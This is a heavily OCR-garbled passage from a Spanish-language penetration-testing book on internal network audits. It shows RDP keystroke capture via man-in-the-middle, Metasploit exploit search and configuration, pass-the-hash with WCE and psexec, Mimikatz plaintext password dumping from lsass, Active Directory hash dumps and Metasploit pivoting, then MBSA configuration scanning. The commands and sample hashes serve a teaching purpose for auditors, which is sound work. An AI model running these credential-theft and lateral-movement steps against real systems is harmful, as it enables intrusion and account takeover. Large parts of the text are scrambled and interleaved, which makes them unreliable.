By ApR-MAPS (0)

5y apr-LDAPS (0

{3 APR-SIFS (D)

Fig. 3.50: Fichero de texto donde se almacenan las acciones de la victima.

Si el auditor abre el fichero puede visualizar en hexa

servidor del protocolo RDP. Se puede visualizar que ¢

| algoritmo de cifrado que utiliza el se
es RC4, y sabiendo que esta comprometido se puede recuperar la informacion en plan

decimal todo el flujo de datos entre cliente ¥
rvidor

o. Ahora, ¢

T

F|
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=

aore una C()l']SO]d 0 Cf??f,l ¥ o ol of 17 texi = A 5 Sl
o ms C 'I]'} <f‘ff1

= ecuta la frucecion { e WCHero ,'ClJ fexto> FIEIST e C esld

I(J] Nd 5€ leEdE ji.llra] de] C] 1o las pll]SdC ones de tECladO ‘ﬁ ! " / d (

En resumen, si el For gt s -
5 F es.\;u]ner;bsluarlc? \.:zcctéme; ha iniciado sesion estando envenenado por el auditor v la versié
rable, Cain & Abel proporcionars ¥ la version

nara en un ficher Ut Teie :
que ha Ilevado a cabo la victima, ro de texto las pulsaciones de teclado

:NProgram Files\Cain“RDP>t =
" iy sl il (112,'-53]1?2]; 281 12514528177.txt | findstr "Hey"

ey pressed client—side: Bx1? — °i

ev released client-side: Bx1? - *+4i°
»

ey presszed client—side: Bx19 -
ey released client—side:ﬂxi? = Pp’
ey released client—-side: Bxle ‘a*

ey pressed client-side: Bxf — ’_tahulaciun’
E
¥

ey released client—side: = ion”’

ey pressed client—sidaf affg = I?hu1a01nn

ey released client—side: Bxl? — *i”

ey pressed client—side: Bx19 - ° ;

ey released client—side: Bxl? — Tt

ev released client—-side: Bxle — ’g’

ey pressed client—-side: B8x25 — k'

ey released client—side: Bx25 — 'k’

ey preéssed client—side: Bx2 — *1°

ey released client—side: Bx2 — '1°

ey pressed client—-side: B8x25 - *k’

ey released client—sdide: Bx25 — 'k°

ey pressed client—side: Gxb — "6

ey released client—side: Bxb - *@&°

ey pressed client—side: - 6’

ey released client—side:agz? = §6”

ey pressed client-side: WxZ - “1°

2; ;eleas§d ilient—side: 5 o
ressed client—side: = 1 *

ey released client—side:maigc - ?gﬁiar"

ey pressed client-side: Bxlec — "nentl*w::E

ey released client—-side: Bwic — ’entigr’

Fig. 3.51: cre i i
g. 3.51: Obtencidn de credencial de usuario de cseritorio remoto

(OIIO_C ”.":(IE V
1suali c
S a] zaren la [nldge]‘lN pd] ece que {.] usuario tiene co o1 {)I]ILle l[)a y deSleeb lras
I’ en el tabulador pdl‘BCt’:‘ L]llF,' ha introducido a contrasern fj UA] 06]. qui s¢ ha obtenido uns
ulsar e 1 b ¢ d d d % & t na ipak k A 1 » bt T 1 a
]) al menaos se p dl ElCCEdE[ a[ eqlll[}(l Sel'VIClD dO d 21 L 5 hrl o1 a
"-H-deIlL a Or' la que < 5 odra (51 I usuario §¢ na c ect dO

Ahora se - :
va a €je ar gl s
hablard de “_p!;lfl.npllﬁcal .otla via mediante una pequefia prueba de concepto. En este caso
e exploiting, gracias a versiones anti : i 4so se
1 7 2 antiguas o no 5 e 2 g n
sistemas operativos. S actualizadas de servicios. productos o

Una opcién vélida seria utilizar R :
ocasiones es el COHSES;;SEEZ;; ?Umﬁ[‘f}“lﬂ&m“ e RIST S RIEMEE, A R e
otttz al ‘andttopel] Gelts, By st os Oltimos expginentes y vulnerabilidades de seguridad la que
entornos no importantes lis ueo lafdmmha,s ocasiones son los productos menos conocidos y en
ejecutar g digs, sbikmrin enq % EU'L en presentar vulnerabilidades importantes, las cuales permitan
miquing ik, enla naquina remota, con lo que el auditor ya conseguird acces Iz

podra ganar privilegios o, al menos, acceso a otra ubicacién - i S
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~\Users\pgonzaleznmap

.123 -sU

snmap.ory 2 at 2014-@1-B9 2@:4@ Hora estBndar romance

tarting Nmap 6-25 ¢ http:/
map scan report for 1-.123

ost is up (B.B15s latencyl.

ot shoun: 999 closed ports

ORT STATE SERUICE UERSIOHN

@/tcp open http mini_httpd 1.19 19dec2883
AC Address: :84:1B

performed. Please report any incorrect results at https//nmap

eruice detection
t up> scanned in 13.93 seconds

rgssubnits -
map done: 1 IP address (1 hos

Fig. 3.52: Obtencion de version de mini Hipd,

on el MITM anterior, el auditor, gracias a lo que ha
buscar un exploif para una versién concreta de un
trado en un equipo del segmento de desarrollo.

En este escenario, similar al que se presentaba ¢
descubierto con el fingerprinting con Nmap va a
servidor web denominadao mini hitpd que ha encon

un exploit se puede recurrir a los buscadores como Google, Bing, Yahoo, pero otra
Metasploit, por ejemplo. y llevar a cabo la bisqueda. El auditor ejecuta
da de exploits para mini hitpd.

Para buscar
opeiodn es ir al repositorio de
msfeonsole de Metasploit para realizat la busque

Para ello se debe ejecutar la instruceion search <patrdn de biisqueda=.

succezsfully lgaded plugin: pro
maf > search mini_htopd

Matching Modules

R ——

HName Dizclosure Date Rank Des
ription
exp1Di:fwindﬂwsfhttpfultraminihttpgpcf 3013-07-10 00:00:00 UTC normal Ult
4 Mini HTTPD Stack Buffer Overflow
m=f > l
S

Figz. 3.53: Busqueda de exploits con msfeonsole.

e debe configurar y lanzar para, si la aplicacion €s

Una vez se tiene un médulo de Metasploit solo s
lguna accion que se haya configurado

vulnerable, obtener el control de Ja maquina remota o gjecutar a

como payload.

del usuario, disponen de la opcion check con 18

Los médulos que no requieren interaccion por parte
gar a lanzaf

que se puede saber si el equipo remoto que se quiere explotar €s vulnerable o no sin lle

el exploit.

k
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=T - F+ S5
mSL > use exploit/windows/http/ultramininttp bof
SRR EY 3010t 10

msf exploit 1
[ - ~-°) ¥ show oprions

HModale options te}‘Qlﬂ_‘ E;" windows/t tE-_E," a ramininc CQ bof
4 EX 1G .

Hame Current

- - Setting Reguired Description
Svasbos =0 =8 s @ swess
S no Use a proxy chain
e . yes The target address
- yves The target port

no HTTP server virtual ?

Exploit target:

Id HName
0 w1.21 - Windaows XE BE3
msf exploit |
RHOST => Lo123 | o o
msf exploict|
& g | > I

Fig. 3.54: Configuracion de médulo de Metagplo,

PoC: Pass The Hash (PtH Attack)

La técnica conoci
nocida como Pass the Hash o i )
I posibilidad de CO”OCI_(IOPCI.'S‘.IS the Hash o impersonalizacién de usuarios proporcionars al audi
A el hash de la contrasefia de un usuario. acce o Rt
rio en otra maquina. . acceder a los recursos de dicho

J() €5 nece Sal'- a ¢ as¢na esie 714 ] 2 GLE TSI e 29
b = 10 conocer I i 1 € [ e 7 5
Eall cnie il 1]3()] ante I . Ei(‘ _b V—' S h(. '] L Ilal’.‘( L un /e ll dﬁ' USLlal‘iD d IJ‘.?J" /l ¥ SE€¢
en i[;h 3T 4 11 e g S 3‘ amente, pCU d acce del a diChOb TECUrsos e] lellﬂllio dtbe Lene lﬂ)e} 1‘]‘3 'Q. ;
quinas. se Cra u nia i 1 5 i = ; A e g c’ ]r ]‘ s

una C]Ll]l a4V 5 ObtlE]‘lE‘ LI h(l ‘If;' d\.] L laliO id] mi . c}l |O
das d vilnera i) ¢ 1strador

es muy probable
que se pued: o e
vkeinas sl ] _eda acceder a olras maguinas, ya que los admini
suelen tener la misma credencial s administradores de dichas

En definiti :
nitiva. la impers T )
; 3 rsonal - . "
Sistema operativo HI’)?IFCJDH izacion persigue la manipulacion de los datos de autenticacid
= L .“5‘_\ co . i - S + €
Usuario con un mismo hash, e g E! fin d? acceder a otras maquinas que dispongan de un i
, es decir la misma contrasefia, que en la maquina de l; q o
a que se parle.

A COnt. d i ') > ol ¥
nuaci i i s 11
nsee en]])hﬁca J.lg]]‘lt.-ﬂd() el SiLUiEI]LE GSLEI!al'i(}'

U 18 vez i e i ae e ( Aitor ha ac ‘D(l ( 2]
Obtellldo l pl‘lm ; i ) a CE ) (i a

; ] € da[O nt I‘é

maquin . 5, 888 one que el a i g > i

q a g Obfellld(l ]OS nasnes de IOS usua i()S d(. ébta |
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acceder a otras maquinas.

¢l contrario, el auditor con la impersonalizacién o acceso a otro

de trabajo.

En este gjemplo se mostraran dos herramientas para ejecutar la
Por otro lado, también se puede utilizar herramientas como PS
que se tienen en memoria y las que sc utilizaran cuando se quiet

requiera credenciales de Windows.

memoria con la siguiente instruccion wee.exe —§
LM=:<hash NT>.

. Se utilizaran los hashes pata realizar impersonalizacion de dichos usuarios y poder

Hay que tener claro que si en el acceso a ofra maquina no se ganan privilegios frente al estado en
el que el auditor se encuentra, éste se encontrara frente a un movimiento lateral u horizontal. Si por

equipo con la nueva identidad estd

obteniendo mayor privilegio, se estard realizando un movimiento vertical. Mediante PtH también
se puede impersonalizar un usuario de un dominio, es exactamente igual que un usuario de grupo

téenica, por un lado estd Windows

Credential Editor o WCE, y por otra lado se encuentra el médulo psexec de Metasploit. Bs interesante
obtener el hash de un administrador porque se podra utilizar recursos como C8, ADMINS, etcetera.

Tools de Sysinfernals para ejecutar

procesos en remoto con dichas credenciales, por ejemplo, una shell.

En primer lugar se ejemplifica la téenica con WCE. Con el pardmetro -/ se puede listar las credenciales

a autenticar ante algan servicio que

Se dispone de las credenciales del usuario pablo, cuyo hash es 8735172C34 77D2C6AAD3B43585
.f404EE:5]JB99()09997C585588C‘AFA COCOAES69. hay que recordar que la parte de la izquierda
antes de los ;" es el hash LM y Ja parte de la derecha el hash NT.

En la imagen se puede visualizar como se cambia el hash que el auditor fiene en su maquina en
<ysnarios : <dominio o workgroup>: <hash

b il

ICiNPJuce Jex
ACAPACICANETG?

JCE vl .3beta (Windowus Credentials Editor
by Hewrnan Ochoa (hernanﬁampliagecurity.cnm)

llese —h for help.

Changing NILHM epedentials of current logon session
lsernane: pablo

domain: dominio

LMHash: 8?351?2C3ﬂ??DZCSHHD3E435B514B4EE

NTHash: 512B99@B9997C3BSSBBGHFHC9GBﬁE969

WTLM credentials successfully changed!?

B

e —S pahlu:ﬂnminiu:87351?283H??DZEGHHD3B4353514E4EE:512399@@9997038553
Y = LD 2@1@,2011 2612 fmplia Security

(BABEBBG24h> to:

pablo. Por ejemplo, si accede a fravés de recursos compartidos

aplicaciones como psexec, que se encuentra dentro de la suite P
mddulo psexec de Metasploit, el cual se utilizard mas adelante.

En este instante el auditor se autenticara contra el sistema Windows con |

Fig. 3.55: Modificacian de credenciales en memorid.

as credenciales del usuarto
a otra maquina, podra acceder a 105

recursos que dicho usuario tuviera acceso. Incluso puede gjecutar aplicaciones a través de SMB con

STools. No hay que confundir ¢ el
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NFPsExec.exe \\192.168.1.18 cmd.exe

sExec vl.%98 — Execut

: & Proces

oggrlght <G> 26081-2818 Mark §523§§25§E%9
ysinternals — wuww.sysinternals.com i

icrosoft Windows [Uersidn &
o : .1.76881
opyright (¢? 28B% Microsoft Curp;ratiun. Reservados tod
os

:\Windowsssysten32dver los derechos.

icrosoft Windows [Uersidn 6.1.76601]
\WindowsS\system32 >

ce 5 PR e
Fig. 3.36: Ejecucion de una shell remota con psexee

\’ 'pD SUpLieSL‘O como entado ar teriorimente. ( SO s¢ (h d optar por un (—Iﬂtom ore ﬁ
s¢ I a conr d & = i ] ])O p ]
O grafico

para visualizar la informacion de i :
I acion desde el explorador de archivos, tal y ¢ T
imagen. , tal y coma se puede visualizar en la

. _ =
: - ‘f = Ir
4 J 2fabedtedbnses
2, Zfobedesdnisstelereibelbd, ., | arzeassedaialz
S i E S ’/_; 46262454d911225350a9093, .
€ Putlicar esta carpeta en Web 3
frckieos de programs
‘/i weos de programs / inetpub
Otros sitios o
i 192.158,1.1 e | meresmt et
3 : .’/J | Perflogs
J iz documentos o
() Docurentos compartidos
a e / Progran File / Llssres
— o

ig Mis sitios de red

inidions

Detaltes

o ik s 1
Fig. 3.57: Explerando archivos en remoto a través de C8

Si se tuvier:

AL ra un hash de un administr s -

B0 I unlfidmmlsnadm. ya filera local o de dominio. se podria acceder a una ¢

que cualquier LlSll‘a B Y 2ol IZEU desplazamientos verticales. El recurso €8 es administrati e In
T 1O 4 acceder a él. He W e d strative por

adninistador de dofiin P? Ta d.LCE('ﬂCI. a €l. Hay que tener en cuenta que si se tuviera un / l .]il (110

10, la auditoria interna tocaria a su fin, va que se tendri i
) 0 fia aceceso a todo.

Ahora, se expli . .
: xplica como o ‘
hashes, & ineluso con | funciona el modulo de Merasploit para autenticarse a través de SMB
s . as conlrasefias en plano si se tuvi : = PIEQT)
tjemplo una Mo 5 plano s1 se tuvieran, y poder ejecutar
elerpreter B (I 2 Jecutar un penie -
preter en el equipo remoto. Realmente este module no ¢s un /j' i e, pol
s un exploil, ya que

realmente el audi
auditor se autentie

ca con los hashes : i i

- &L shes que ha obtenido previ > i

que permite ejecutar pavioads muy utiles, e e

La rut;

a del exploif para i :

i - il para impersonal

disp =0 P personalizar se encuentra en exploit/wvii

spone de var ) : en exploit/windows/S] s T .
variables que se especifican a continuacién: R,
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j Atributo Deseripcion
i
Direccién [P de la maquina a la que se uiere conectar para impersonalizar
\ RHOST ; q q q ciar p P
un usuario
SHARE Recurso al que se quiere conectar
SMBDomain Dominio para la autenticacion
SMBPass Password en formato hash <LMHASH><N TLMHASH=
SMBUser Usuario al que se quiere impersonalizar

Tabla 3.02: Awributos del médulo exploithwindows/SMB/psexec.

Module options (exploit/windnws{smh/psexec):

Name current Setting Required pescription

RHOST YES The target address

RPORT 445 yes Set the SMB service port

SHARE ADMINS yes The share to connect to, can be an admin share (ADMINS,
€$,...) or a normal read/write folder share

SMBDomain WORKGROUP no The Windows domain fo use for authenticatien

The password for the specified username

SMBPass no
The username to authenticate as

SMBUser no

Exploit target:

® Automatic

msf exploit(psexec) > set RHOST 192.168.1.37

RHOST => 152.168.1.37
msf exploit{psexec) > set SHMBPass 8735172c337?d2c6&ad3b435b51404&e:512b998@9997c3b55BBcafachaa
e969

SMBPass —> 8735172c337?d2c6aad3b435b51404&6:512h9999999763b5588cafat9c99e969
msf exploit{psexec) > sel sMBUser administrador
SMBUser => administrador

msf exploitipsexec) >
Fig. 3.58: Configuracion del madulo e.\'p!of.'/’n-f;.1.rfu|v.w’Sﬂva/p.syrem-.

oad se requiere lanzar el comando exploit
udiado son muy utiles en las auditorias
aje de éxito en el proceso.

Para ejecutar la autenticacion y ejecucion del payl
del modulo. Estas dos herramientas que se han est
{nternas, y junto al pivoting aportaran un alto parcent

PoC: Escalada de privilegios

En el instante que se accede a una nueva maguina, sea p
una exploracion del equipo en busca del maximo de informacion, y por supu
descubrimiento de red para vigilar los nuevos equipos y segmentos de red a los que se pue
A continuacion se propone un procedimiento a realizar:

or la téenica que sea, es interesante realizar
esto, realizar un
de llegar.

*1r-"’
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= COI]h Uracio de e(l & evas E(l(‘i} aireq mente e a4 cotl "
g Tl S plICC[E: dESCUbIlI n v a nlac ]ﬁELllctClOﬂ
p qu c
1a PO[ 105 pO&lb]GS adap(d(l(}le ed (53 I
s dL 11CO
de[ ada. tddn] ("allallzﬂl E] trafico (2 Cl nt ando
nuevas ]]13qulnds COor IaS qUL no se d SpOnIa conectiv ldad y qUe puede]‘l ser criticas.
=2 lcad. - q L
VO Q d{.. usuarios ahnaCenados en la SAJ‘/I S] ]a maquina iuera tn DG”TG'H? COf’H‘I (Jl’l’ﬂ’:’
1Ner, p y ]d() S€ tuv eran V11eg10s, V“IC d € usua
s€ ]della obtene siempre cua pll 11 8, un d
= adao rios d(_‘
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- Voleado de hastes de los sistemas Windows.

- Exportacion de certificados. incluso los no exportables.
- Manipulacion de procesos.

- Inyeccion de librerias.

- Manipulacién de privilegios.

- Voleado en text c =
exto plano de las contrasenias de | suarios que s .
cquipo. ‘ 08 usuarios que se han autenticado en el

Esta herramienta es c y Ut itori

s i,13?0211;5212]:?(:L;};rz?(;en.k. y util EI'I una auditoria, Existe un principio de localidad temporal

ok e ;ﬂét uma(il(eis'se daulf,nlwan muchos usual"ios. e incluso los administradores se

et e q s Ie_|an. o cacheadas las credenciales. Mimikatz se aprovecha de esto v
ver datos de mucho interés para la escalada de privilegios. )

Es interesa i i
1 S o e 1
o :i te le:indlaI la herramienta a fondo, ya que dispone de muchas funcionalidades, pero dos
; ueden ayudar, y mucho, al auditor :
: L) 4 or como son ¢l volcado de contrasei
exportacion de certificados de la maquina. S R
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dominio. Estas hacen un mal uso de dicha credencial que tiene gran poder, ya que con ella se maneja
la infraestructura, y la utilizan para acceder a ciertas méAquinas para resolver problemas de otros
usuarios. Mientras esas maquinas no se apaguen la credencial queda cacheada por el proceso [sass.
exe. Es (til buscar en servidores, que a priori no son importantes, porque se dan casos en los que se
puede encontrar credenciales muy poderosas.

Para extraer esta informacion de los equipos se utilizarén los siguientes comandos:
- Privilege::debug
- Inject::process Isass.exe sekURLsa.dll

- (wgetLogonPasswords

jmikatz # privilege::debug
emande d’ACTIVATION du privilége = SeDebugPrivilege = OK

imikatz B inject::process lsass.exe sekuplsa.dll
ROCESSENTRY32(lsass.exe).th32ProcessID = 664
ttente de connexion du client...
erveur connecté a un client !
essage du processus :
jenuenue dans un processus distant

Gentil Miwi

Sekurl8a : lihrairie de manipulation des données de sécurités dans LSARE
mimikatz #f BgetLogonPasswords

uthentification Id : @:;1898845
ackage d’authentification NTLHM
Utilisateur principal Administrador
lDomaine d’authentification : PRUEBAS—B176BCC
1m¢ h757hE5cBAB7772faad3bh435h51484ee . atlm{ Jce2ifi?chl

msul _@ =
aee7fh9ceha532d@546ade >

wdigest 1234
Nuthentification Id B3;185523
[Package d’authentification MNT LM

AMONYMOUS LOGOM

Utilisateur principal
MT AUTHORITY

Domaine d’ authentification

TR

Domaine d’ authentification PRUEBAS—B1768ACC

mgul_ @ = n.t. (LUID KO>
udigest = n.t. <LUID KO>
fAuthentification Id : B;39868
Package d’authentification = NTLHM
Utilisateur principal : Administrador
msul _@ = Im{ L?E?hf5cBdﬂ???Zfaad3h435hﬁi4ﬂ4es ¥, ntlmd Zce21f17cH
aee7fh%ceha532d@546ad6 >
wdigest = 1234
Authentification Id 3 Hs997
IPackage d’ authentification : Megotiate

SERUVICIO LOCAL

Utilisateur principal
NT AUTHORITY

Domaine d’authentification

msul @ = n.t. (LUID KO>
wdigest = n.t. (LUID KO>
Authentificatien Id : B;996
Package d°authentification : Hegotiate
Utilisatewsr weincinal : Sepuicin de ved

Fig. 3.59: Extraccion de contrasefias en plana con Minmikaiz,

En algunas ocasiones se necesita invocar a getLogonPasswords con selurisa: :logonPasswords.

il

Capitulo I1l. Confeccionando el atague

i 143 ]

Existe un mddulo dfi Meterpreter que carga Mimikarz en este payload para que directamente se
Pueda extraer este tipo de informacién o certificados desde la propia sesién de Metasploir. Para
invocarlo en una sesion de Meterpreter simplemente hay que ejecutar la instruccion load mimikat=.

Como se ha mencionado anteriormente, se puede encontrar credenciales muy interesantes. En este
punto se_puede haber obtenido el administrador de dominio, ya sea por esta técnica, por alguna
vulnerabilidad de soffware o por alguna otra ya comentada. )

Ha}y que probar a entrar en el DC, ya que alli se podrd obtener un listado de todos los usuarios
maquinas y hashes de la organizacion. Aunque va con el administrador de dominio la auditoriz;
tiende a su fin, hay que presentar evidencias de que se tiene un control total, y una de ellas podria ser
un listado de usuarios y hashes que se tienen en el directorio activo. ' ‘ L

Para llevar a cabo el volcado de hashes del directorio activo se utilizara el seript de Meterpreter

Smarrffm.w’m’ump. Se puede utilizar el médulo de psexec para acceder al DC COI-I la credencfial de

administrador de dominio, y luego utilizar la siguiente instruccion para lanzar el voleado rwr post/

windows/gather/smart_hashdump GETSYSTEM=true. Hay que destacar que si el equipo es urjnf DC

?ahfnel;/tc._;s?le obtendra la siguiente frase durante el proceso de valcado “This host is a Domain
onirolter! .

pahTo:1986: 87351720247 FOZCEAAD2EA 3 5E51404EE : 512 BOG7C3ES 58 COAEGAD
pepe :19@:? T87351F2C3ATYD2CE SAACDB-'SC[SM gigngE?ﬁ;Ei?QO _39Jli‘cr_lﬁi532%%;5%‘%_%.@»35
jo52:1050:8735172C3A77D2CESAACDRACDS 04 524 F : 701 5AAZ6 HODALLO0ES 003 F

gabrj}%?a:;‘gul:u_fE¢'2FE"013EF849E<‘E;1ADE§E:4E5551404EE:EDZ F—_jE'?UBFHFSTf‘«‘OE B3
Jan:2004 : 7915564 OEEEZFAAAGEELABCEFBL31 160 164 FODFOGAC 51 A0S 0FC11 9354 3080

od 2 3 T ov e 4 - - e 1 1 it
Fig. 3.60: Voleado de fevhes del directorio activo para informe,

Por ull‘u}lo afiadir que desde la version 1.3 de WCE, se dispone de una opcién para extraer
mnhﬂasenaS en texto plano como realiza Mimikar=. Para ejecutar esta opcion simplemente hay que
% A >y T g . 3 = : s
subir .la |1E..‘[.‘Ia1ﬂl€1‘lfa WCE a la maquina remota, para posteriormente desde una shell remota cjecutar

la aplicacion con el parametro —w. ‘

PoC: Pivoting + PtH = Paseo por la organizacion

Elhecho de que un audlto:: haya accedidoa un nuevo equipo puede haber proporcionada conectividad
con nuevas maquinas de interés. El pivoring permitird al auditor ir pasando por diversas maquinas
para llegar a otras. a las que al principio directamente no podia llegar. A

Es cierto que juntand Scni 1 izacio
o la técnica de impersonalizacién PiH y ivolii re maquinas i
kvt B p . ’. y el pivoting entre maquinas el audilor
o cualquier ubicacion. Un buen pivote, si ya se ha obtenido el administrador de
3 s - ¥ " . = s - -
ominio serian los DC, ya que todos los equipos del dominio tendran conectividad con ellos,

. pfbl ofing se llevara a cabo con Meraspioit y se podrd entender que es realmente sencillo el llevarlo
cabo. Una vez se dispone de una sesion en otre equipo remoto a través de Merasploir, ya sca

]?0:' alguna vulnerabilidad encontrada y explotada, o por haber llevado a cabo PrH. se dispone del
comando route, o su script de Meterpreter equivalente autoroute.
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o en el que el auditor se encuentra dentro del DC a tra\(;éz ;l:; 1;;:; sseslo;:ecii
Metasploit, y se quiere llegar ala red de produccién que se encuentra en la :edpil r.a .e Hc.) Se.eje fum o
configurar el DC como pivote para llegar a ese segmento complf:tamer{ c}.o_ 0. e e
siguiente instruccién dentro de la sesion de Meterpreter, run autoroyte —s (0.0 10, |

eterpreter > run autoroute —s10.0.1 6.0-n 255.0.0.0

3 0.0...
(=1 Aadding a route to 10.0.1 0.0-255.0. i
I[+] ﬁddedgrnu‘t& to 10.610.0 255.0.0.0 via 10.0.0.1

(=1 Use the —p option to list all active routes

eterpreter >
Fig. 3.61: Configuracién de pivoting para llegar a ofrared.

Se propone un escenari

Aqui ,Co sploit por cual
Se ha configurado para que se enrute a través de la maquina del DC, ;Como satj)e Mgnm plOMe};m .
sesion debe enrutar? Gracias al atributo session. Como se puede visualizar en la image 7

sabe que el trafico dirigido hacia la red 10.0.10.0/8 debe encaminarlo hacia el Merterpreter que se

encuentra detras de la session con id 1.

eterprater > background

sl exploit(ns@8 067 netapi) > route print

Active Routing Table

Gateuway

Subnet Metmask

0.0.0 255.0.0.0 Session 1

Fig. 3.62: Pivating preparado.

lquier maquina de la organizacion, por lo que

voling j ] PtH puede permitir acceder a cua ‘  PEiE D
e cope : ; 1 verse involucradas, con toda la informacion

el acceso a las maquinas de produccion podria tambié
sensible que ello puede contener.

4.Interna con privilegios

i ditoria a realizar una seri uebas para
Una auditoria de caja blanca llevara al equipo de auditoria a realizar una ;jlnil;l: Eimuacignes
i ici esa es segura. Ademas,

‘ -acion de los servicios de la empresa €5 Seg : i
comprobar que la configurac . . e at
sobre codigo también deben ser realizadas por expertos en segur idad que .bep. e
Se utilizarbém aplicaciones que permiten verificar v chequear que lo:j servie d Sja B i
conficuraciones con un grado minimo de seguridad y saldrdn a la luz aphcauom]s s & o
v co;:ﬁguraciones no Optimas en términos de fortificacion. En todo instante el a
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de privilegios para visualizar y chequear configuraciones, por lo que no se debe realizar ninguna
escalada de privilegio.

Este tipo de auditoria encaja bastante en un modelo procedimental, aunque de nuevo siempre
dependera del grado de destreza del auditor con las herramientas y el conocimiento de los sistemas
operativos para saber dénde mirar v evaluar,

Pruebas

Las pruebas que se realizan en este tipo de auditorfas se muestran a continuacion:

- Estado de los sistemas. Se evallian datos generales como la versién de los sistemas
operativos, paquetes instalados, aplicaciones no actualizadas, etcétera. Esta informacion
permite obtener un mapa de informacién sobre el estado de los sistemas ante nuevas amenazas
que van surgiendo en forma de vulnerabilidades en el sofiware.

- Acceso de los usuarios. El objetivo de esta prueba es comprobar las rutas y archivos a los
que los usuarios pueden acceder sin privilegio. Se evalia el tema de permisos y como estan
configurados éstos,

- Andlisis de comunicaciones. Se comprueba si las comunicaciones establecidas con las
distintas maquinas corresponden al rango de direcciones interno de la organizacion, Ademas,
se analiza si las conexiones se realizan de manera segura cuando el trafico que circula por
ellas es de informacién sensible.

- Configuracién de servicios. Se comprueba que los servicios de la empresa se encuentren
correctamente fortificados. En este punto siempre se puede afiadir mejoras a la fortificacién
de la organizacién, por lo que es importante hacer hincapié en ello. Ademis. este punto es de
los mas importantes ya que, en muchas ocasiones. los fallos de seguridad provienen de este
punto.

- BEvaluacion de politicas de seguridad orientadas a los dispositivos méviles y la famosa
ola BYOD.

- Evaluacion del cadigo de aplicaciones,

PoC: Evaluacion de configuraciones

Es dificil contemplar todas las posibles pruebas y pruebas de concepto que se pueden presentar en
una auditoria de caja blanca. Siempre dependerd del dmbita en el que el auditor se encuentre y de
la infraestructura y servicios montados en la organizacion. Por esta razon, esta prueba de concepto
generaliza una posible evaluacian de configuraciones, mostrando alglin ejemplo en conereto.

Este tipo de prueba se puede llevar a cabo de manera automatica. con lo que el auditor ahorra gran
cantidad de tiempo, aunque también debe tener en cuenta que los pequefios detalles s¢ captaran
siempre mejor de manera manual. Lo ideal puede ser automatizar el proceso con escéneres como
Nessus, Nexpose o MBSA, Microsoft Baseline Securvity Analyzer, esta tiltima para sistemas Microsoff.
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i MBSA es un escaner que permite identificar sistemas tiene éS“? para la empresa. Por ejemplo, un servicio de SSH el iE
; informacion: de ”'5“3“05 de desarrolle no tiene la misma importancia u: uCualj u, }}Ullzado para un conjunto
| . Actualizaciones no aplicadas y fallos en la configuracion del software. Sgﬁ;ﬁ{::c?;: consultan da?.los .t?ancario-s a través de este :er\'/icji]o.S }r;:.béztj fH Wl e 'utiliza por
! _ Escaneos sobre distintas versiones de sistemas Windows y aplicaciones. es algo vital. EZ?:Z;?:;ZZ:E::O“ por clave plblica, y nunca permitida por uc;i(;?i,oljjr?::‘]‘fet;;ziﬁe
rangos de direcciones via interfaz grafica o en modo consola con la ello se recomienda estudiar I:)ie;1 :lStsi?vcic(J:ri]f g.ulracmn?s podria lleVa'r mas de un capitulo entel.oq:;};"_
seguridad, poder optimizar el nivel de foﬂalgzaafle]ir:zz]i?irss que dispone para, junto a una guia de

Microsoft mostrando en detalle la siguiente

- Escaneos sobre
aplicacion mbsacli.exe.

_ Generacién de informes y volca
en los escaneos.

_ Comprobacién de politicas internas en la co
ellas un check de buenas précticas.

dos de informacion en XML sobre los resultados obtenidos

Como se puede ent rexi
en ? P
s expanpsién vy cllel existe un numero infinito de servicios que. ademas, cada di d
. . . @ a informati 1 o ; ) ia son mas debi
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10 podra conocer todas la i o by CIanGS: PoL
! s configurac i/
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1 security updates are missing.

Result Details for Windows c )
omo gjemplo se propone que el auditor

: ey prop que el auditor observe y chequé las siguienies caracterisii .

Security Updates en un servidor: - siguientes caracterisiicas conficuradas

Ttems marked with & e confirmed miss! - :

oved by your system administrator, Analisi

e S b e B E nalisis de la version del sistema aperativo ctualizac d ]
del sistem erativo y actualizaciones, independientemente L

— - b emenie de la

ng. Ttems marked with 'ﬂr aniccmﬁrmed missing an}j are not
plataforma en la que se encuentre el servidor

Carga del servidor :

rvidor. Este detalle —
en el sofiware - etalle puede presentar anomalias en los rendimientos, o i o
L) e que no deberia estar presente en la maquina a8, ey

@ M503-002 cumulative Secunty Update fo

B d; d - ‘h 0 It [_ t o1 5 . Ve 5
| e
usqueda de archivos IITlp() antes Ely C]LIE‘ Ener OLEIHZEICIOS y anallzal IOQ Eﬂ(.l VD d
£ g s de

update Rollups and Service Packs
Ttems marked with 1" zre confirmed missing. I‘Cgi TO R
o E)\i e et e = T pawnkoa ]0“' Sht,‘ (fomo los eventos en Windows o /Avar/log en Linx. los archi p 7
core Description toad s servicios y archivos especiales. ¢ ? 249 cnivos de configuracion de
. - 3 R o ¥ chivos ESpELia}bs_‘ como leeden serlosphosnrde st ) s iracion de

g4 890830 o (KEEL0B2T) & presentes. rhosis de sistemas Limuy sl estuvieran

‘ .
@i 951847 = | - Analisi
nalisis de procesos. de interfaces
y Ss0715  Update Rolip for Activex Kilbits for Windaws X7 (E9E0715) & oy 5 os, de interfaces de red y de comunicaciones
Andlisis de restricciones de acceso al sistema

Fig. 3.63: Ejecucion de MESA sobre i dominio 0 conjuato de maguinas.
Existen otras herrami - o )
Escaneres como Nessus 0 Nexpose, los cuales también podrian ser utilizados en una auditorfa internd de estas iml_:;‘}f;;ﬁ:gizg;‘id? ?Uqlto.n_a c.ir; - [1{allca como son figery System Scanner. El objetiv
y caja negra, son herramientas mas potentes que la anterior. MBSA esth creada para chequear el ‘ as de determinar configuraciones incorrectas y permisos d bkt O_'IL“\ :
estado del sistema y de su configuracién, sin embargo con Nessus o Nexpose se puede alcanzar un . N GRIERIRECs:
nivel de deteccion de fallos de configuracion y vulnerabilidades mayor, ¥ dimensionado para mas
plataformas. Estos escaneres se pueden apoyar en el uso de credenciales, otorgandoles privilegios.

con el fin de explorar y detallar con mas profundidad el estado de los sistemas.

5. Wireless & VOIP

LB';a 1 2 .
. . " o 3 Udl[onaq“‘”. . - i
e SN i - sl ; swireless y | il g
En sistemas *NIX el auditor se enconfrara con gervicios como Samba, anto inalimbricas y I(ij permilen a la organizacién conocer ¢l estado de sus comunicaci
o as como ToyAR - . Sk uniecaclone
e voz sobre /P. Este tipe de auditorias son en un alto |10?:101tk'5'
poreentaje

|
|
|
SSH o bases de datos. !
Postgres, Oracle, MySOL, etcétera, Es importante estar al tanto de una configuracion aceptable ol
decir. la criticidad que Imentales, sobre todo las de wireless. aunque siempre salen nuevas prucbas a real;
cbas a realizar y que el

de seguridad. aunque siempre dependera del objetivo final del servicio, es
